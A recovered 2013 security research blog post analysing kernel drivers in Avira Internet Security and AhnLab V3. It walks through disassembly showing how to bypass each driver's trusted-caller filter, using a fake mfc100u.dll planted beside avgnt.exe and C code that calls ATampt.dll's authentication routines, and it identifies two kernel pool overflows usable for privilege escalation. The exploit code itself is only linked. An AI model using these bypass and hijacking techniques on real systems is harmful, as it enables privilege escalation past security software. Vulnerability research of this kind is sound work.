Posted on October 20, 2013 at 1:23 PM
This post is recovered from my old blog
Prior to the concept of my recent post about antivirus privilege escalation I continued trying other products. One of the interesting thing about such products are the heavy usage of kernel level drivers. And because Drivers are delicate points in security of such products, the vendors are so aware of the possibility of attack against inputs could be delivered through Device IO Control requests. As a matter of fact, they implement various counter measurements to reduce the chance of tampering with such drivers. In this post I am going to share my finding in bypass of Driver Filters of two various products. After the driver security filter bypass, I had larger attack surface so it was possible to find vulnerabilities with seeming ease.
My finding is about the latest version of Avira Internet security and Ahnlab V3 internet security products.
Avira is one of the well-known antivirus companies with their internet security suite products. When I installed the software in my box, I checked on some of the installed drivers. Between the drivers module I could find out that avipbb.sys has a very large routine for handling Device IO Control requests. Here is the graph of routine at address 0x170C8 of Avipbb.sys (File Description: Avira Driver for Security Enhancement)
After some tests and review of the disassembly of this function I noticed that although it supports lots of control codes but I don’t have the ability to use all of them. At the very beginning of this function there is a check against some control codes:
.text:000170E3 mov edx, 22245Ch .text:000170E8 lea eax, [edx+38h] .text:000170EB lea ecx, [edx+68h] .text:000170EE cmp esi, 222458h .text:000170F4 jz short loc_1715E .text:000170F6 cmp esi, edx .text:000170F8 jz short loc_1715E .text:000170FA cmp esi, 222490h .text:00017100 jz short loc_1715E .text:00017102 cmp esi, eax .text:00017104 jz loc_17571 .text:0001710A cmp esi, 222404h .text:00017110 jz short loc_1715E .text:00017112 cmp esi, 222498h .text:00017118 jz short loc_1715E .text:0001711A cmp esi, ecx .text:0001711C jz short loc_1715E .text:0001711E cmp esi, 2224CCh .text:00017124 jz short loc_1715EAnd then it checks if the current thread is a System thread or not:
.text:00017126 call ds:KeGetCurrentThread .text:0001712C push eax ; _DWORD .text:0001712D call dword_2CDB0 ; issystemthread .text:00017133 test al, al .text:00017135 jnz short loc_17153And checks if the current Process Id is a valid process id by a call to routine at address 0x1144E:
.text:00017137 call ds:PsGetCurrentProcessId .text:0001713D push eax ; current pid .text:0001713E call sub_1144E .text:00017143 test eax, eax .text:00017145 jnz short loc_17153The routine sub_1144E searches the PID against some trusted PIDs available through a linked list at address 0x2E118:
.text:00011456 xor bl, bl .text:00011458 call ds:KeEnterCriticalRegion .text:0001145E push 1 ; Wait .text:00011460 mov edi, offset stru_2E0C0 .text:00011465 push edi ; Resource .text:00011466 call ds:ExAcquireResourceSharedLite .text:0001146C mov esi, dword_2E118 .text:00011472 mov eax, offset dword_2E118 ; Pointer to some linked list contain trusted processesConsidering this hard check against processes, normal processes are only able to send requests for the following mentioned control codes:
222404h , 222458h , 22245Ch, 222490h, 222498h, 2224CChOn the other hand, this driver support lots of more control codes only available to a system thread or a trusted process. Being a system thread is not an option but how a process considered to be trusted by avipbb.sys driver is questionable.
By checking the mentioned list of trusted processes, I noticed that the routine sub_1124c gets PID as a parameter value and search the list and in case of non-existence of the passed PID, it sets new record in the list for that PID:
.text:00011308 mov eax, dword_2E11C .text:0001130D mov dword ptr [edi], offset dword_2E118 .text:00011313 mov [edi+4], eax .text:00011316 mov [eax], edi .text:00011318 mov ecx, esi ; Resource .text:0001131A mov dword_2E11C, edi .text:00011320 call ds:ExReleaseResourceLite .text:00011326 call ds:KeLeaveCriticalRegionThe routine sub_1124C which is responsible for adding new PID to trusted list is called at the following code of function sub_1653C:
.text:000165C9 call sub_17C3C .text:000165CE call sub_17BD8 .text:000165D3 call esi ; PsGetCurrentProcessId .text:000165D5 push eax .text:000165D6 call ds:IoGetCurrentProcess .text:000165DC push eax .text:000165DD call sub_1124C .text:000165E2 mov esi, eaxAnd it is possible to reach this function by using control code 0x222458:
.text:00017270 push edi ; 0x222458 .text:00017271 call sub_1653C .text:00017276 and dword_2CBD8, 0 .text:0001727D jmp loc_1756BSo it may be possible to add the current process to trusted process by using this IO control codes but we haven’t won the game yet. The function sub_1653C does some checks before assignment of the current process as trusted. It gets path of the executable for the process by a call to sub_163E0:
.text:00016590 call esi ; PsGetCurrentProcessId .text:00016592 push eax ; ReturnLength .text:00016593 call sub_163E0 ; Get path of Executable for PID .text:00016598 mov ecx, [ebp+P]And then it pass the path of the executable to the routine sub_110B6 to check if the executable is related to Avira product or not:
.text:000165AF lea eax, [ebp+var_8] .text:000165B2 push eax ; int .text:000165B3 push dword ptr [ecx+4] ; Path of the executable .text:000165B6 call sub_110B6 ; Check if Exe is Valid?The sub_110B6 lead to execution of lots of code such as parsing PE file format and trying to detect some signature in the executable. Analyzing and reversing the code of the signature verification was very boring but in short I found that it uses some hashes like the following for verification:
.rdata:00028578 aAvcs4f3a4200c37o db 'AVCS4F3A4200C37O',0 .rdata:00028589 db 0 .rdata:0002858A db 0 .rdata:0002858B db 0 .rdata:0002858C a62f3ab0132favcse db '62F3AB0132FAVCSE',0 .rdata:0002859D db 0 .rdata:0002859E db 0 .rdata:0002859F db 0 .rdata:000285A0 aAvsign_0 db 'AVSIGN',0And the same hashes available in Avira executables (for example: avgnt.exe)
.rdata:00432C18 aAvcs4f3a4200_0 db 'AVCS4F3A4200C37O',0 .rdata:00432C29 db 0 .rdata:00432C2A db 0 .rdata:00432C2B db 0 .rdata:00432C2C a62f3ab0132fa_0 db '62F3AB0132FAVCSE',0 .rdata:00432C3D db 0 .rdata:00432C3E db 0 .rdata:00432C3F db 0 .rdata:00432C40 aAvsign_0 db 'AVSIGN',0So the idea is that I should make some executable that pass the signature verification or abuse the executable of the product to bypass the driver filter. The first idea is a bad idea because I am lazy but the second idea:
As various method of code injections are very suspicious by antiviruses, we have to inject in a stealthy way. avgnt.exe is a UI application that loads mfc100u.dll module. So I made a fake mfc100u module that reside in the same directory of the copied avgnt.exe. So when avgnt.exe tries to load MFC library it loads the fake mfc100u.dll that contains some malicious codes.
After gaining the ability to bypass the driver filter, I found an interesting handler for control code 0x222450. The routine sub_167B4 is responsible for handling this control code and in some part of this routine there is an insecure copying routine leading to a pool overflow condition:
.text:00016975 lea eax, [ecx+eax*2] .text:00016978 push edx ; size_t .text:00016979 push eax ; void * .text:0001697A movzx eax, di .text:0001697D lea eax, [esi+eax*2+14h] .text:00016981 push eax ; void * .text:00016982 call memcpyReaching this vulnerable block needs some special user inputs. Here [link removed] you can see the proof of concept exploit code for this vulnerability which abuse avgnt.exe and control code 0x222458 to bypass the driver filter and exploit the vulnerability in control code 0x222450.
The concept is not only limited to Avira product. Ahnlab V3 is another internet security suite that installs lots of drivers on the system. Here is just some of the drivers that V3 product installs on the system:
No |
DriverName |
Permission |
Description |
1 |
AhnFlt2k |
administrators |
file system common filter driver for ahnlab product |
2 |
AhnRec2k |
administrators |
file system recognizer for ahnlab product |
3 |
AhnRghNt |
EveryOne |
AhnLab Common registry hook driver |
4 |
AhnSZE |
EveryOne |
AhnLab SpyZero Engine Driver |
5 |
AMonHKnt |
EveryOne |
AhnLab Network filter friver, level1 |
6 |
AMonTDnt |
EveryOne |
AhnLab Network filter friver, level2 |
7 |
v3Flt2k |
EveryOne |
File system filter driver for v3 product |
Although most of the drivers can be reached by normal user, there is a generic security filter for most of them that stops anyone from tampering the critical kernel drivers. In this case I am going to discuss v3flt2k driver but the security filter is also implemented by other drivers of the product.
The routine at address 0x196E0 is responsible for handing various IO control requests. At some part of this function there is a call to sub_19A00 which is a very large interface consists of lots of control codes:
.text:0001977E push ecx ; NumberOfBytes .text:0001977F mov edx, [ebp+input] .text:00019782 push edx ; int .text:00019783 call sub_272B0 .text:00019788 mov [ebp+var_14], eax .text:0001978B cmp [ebp+var_14], 0 .text:0001978F jl short loc_197ED
.text:000197ED loc_197ED: ; CODE XREF: IRP_MJ_DEVICE_CONTROL+AFj .text:000197ED mov [ebp+var_14], 0C000000Dh .text:000197F4 mov [ebp+var_8], 0The authentication is implemented by another routine sub_19600 that handle control codes 0x81000000, 0x81000004, 0x81000008 and is available for anyone:
.text:0001975B push ecx .text:0001975C mov edx, [ebp+var_4] .text:0001975F mov eax, [edx+18h] .text:00019762 push eax .text:00019763 call sub_19600The authentication implementation and check routine sub_19600 and sub_2272B are based on some time based hashing related to md5 with inputs and outputs of requests. I gave up on deep analysis of the filter, but there are some user codes which can be abused to simply bypass this security feature.
In root directory of the product there are some one to one user mode library to each kernel mode library:
AhnSZE.dll |
Ahnsze.sys |
V3Flt.dll |
V3Flt2k.sys |
ATampt.dll |
ATamptNt.sys |
MeDCore.dll |
MeDCoreD.sys |
…. |
… |
Through reversing the user mode library, I found that there is some codes which implements the authentication process. Here is the sub_100068A6 of Atampt.dll that generate some hash value and pass it to control code 0x81000008:
.text:1000691C lea eax, [ebp+Dst] .text:1000691F push 1Ch ; nInBufferSize .text:10006921 push eax ; lpInBuffer .text:10006922 push 81000000h ; dwIoControlCode .text:10006927 push dword ptr [esi] ; hDevice .text:10006929 call edi ; DeviceIoControlAnd also there is another routine sub_10006BC9 that use the previously generated hash of the driver to send a secure IO control requests:
.text:10006CF0 push [ebp+lpBytesReturned] ; lpBytesReturned .text:10006CF3 push [ebp+nOutBufferSize] ; nOutBufferSize .text:10006CF6 push [ebp+lpOutBuffer] ; lpOutBuffer .text:10006CF9 push [ebp+nInBufferSize] ; nInBufferSize .text:10006CFC push esi ; lpInBuffer .text:10006CFD push [ebp+dwIoControlCode] ; dwIoControlCode .text:10006D00 push dword ptr [edi] ; hDevice .text:10006D02 call ds:DeviceIoControlBy analyzing the passed parameters to these two routines, it is possible to abuse this library to bypass security feature of this driver. Here is my code to bypass this security filter of Ahnlab drivers. The function to bypass security filter and send secure device IO requests are as follow:
typedef struct ARGUMENTS { HANDLE handle; //+0 BYTE * buffer; //+4 DWORD unused0; //+8 DWORD unused1; //+C DWORD unused3; //+10 DWORD unused4; //+10 BYTE * buffer2; //+14 }ARGS; typedef DWORD (*TypeAuthorize)(ARGS * a1); typedef DWORD (*TypeSecureIoControl)(ARGS * a1, BOOL someFlag, DWORD dwIoControlCode, BYTE * realInput,size_t Size, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped); DWORD BypassSecurityFilter(ARGS * args) { HMODULE hmd = LoadLibraryA("ATampt.dll"); if(hmd == NULL) return GetLastError(); TypeAuthorize Authorize = (TypeAuthorize)((DWORD)hmd+0x68A6); return Authorize(args); } DWORD IoControl(ARGS * args, DWORD dwIoControlCode, BYTE *realInput, size_t Size, LPVOID lpOutBuffer, DWORD nOutBufferSize) { HMODULE hmd = LoadLibraryA("ATampt.dll"); if(hmd == NULL) return GetLastError(); TypeSecureIoControl IoCtl = (TypeSecureIoControl)((DWORD)hmd+0x6BC9); DWORD BytesReturned = 0; return IoCtl(args, TRUE, dwIoControlCode, realInput, Size, lpOutBuffer, nOutBufferSize, &BytesReturned, NULL); }
After bypassing the filter, I found an interesting handler for control code 0xA337085C:
.text:0001A63B mov eax, [ebp+input] .text:0001A63E push eax ; Data .text:0001A63F call SetStringToDrvRegPath_backup_14390 .text:0001A644 mov ecx, [ebp+input] .text:0001A647 push ecx ; wchar_t * .text:0001A648 call V3Quarantine_SetBackupDir_13660 .text:0001A64D test eax, eax .text:0001A64F jnz short loc_1A663I renamed this function based on the debug outputs. Later V3Quarantine_SetBackupDir_13660 calls another function related to setting backup directory at address 0x133E0:
.text:0001370E loc_1370E: ; CODE XREF: V3Quarantine_SetBackupDir_13660+97j .text:0001370E mov ecx, [ebp+arg_0] .text:00013711 push ecx ; wchar_t * .text:00013712 call V3Quarantine_SetBackupDir_133E0 .text:00013717 mov [ebp+var_8], eaxThe routine allocate some fixed size buffers using ExAllocatePoolWithTag:
loc_1342F: ; Tag push 746E7251h push 800h ; NumberOfBytes push 0 ; PoolType call ds:ExAllocatePoolWithTag mov P, eax cmp P, 0 jnz short loc_13459And later it copies the unicode data to this static buffer which cause a pool overflow:
.text:00013468 mov edx, [ebp+arg_0] .text:0001346B push edx ; wchar_t * .text:0001346C call ds:__imp_wcslen .text:00013472 add esp, 4 .text:00013475 push eax ; size_t .text:00013476 mov eax, [ebp+arg_0] .text:00013479 push eax ; wchar_t * .text:0001347A mov ecx, P .text:00013480 push ecx ; wchar_t * .text:00013481 call ds:__imp_wcsncpyHere [link removed] is the exploit code that abuse Atamp.dll to bypass filter and then exploit the pool overflow for privilege escalation.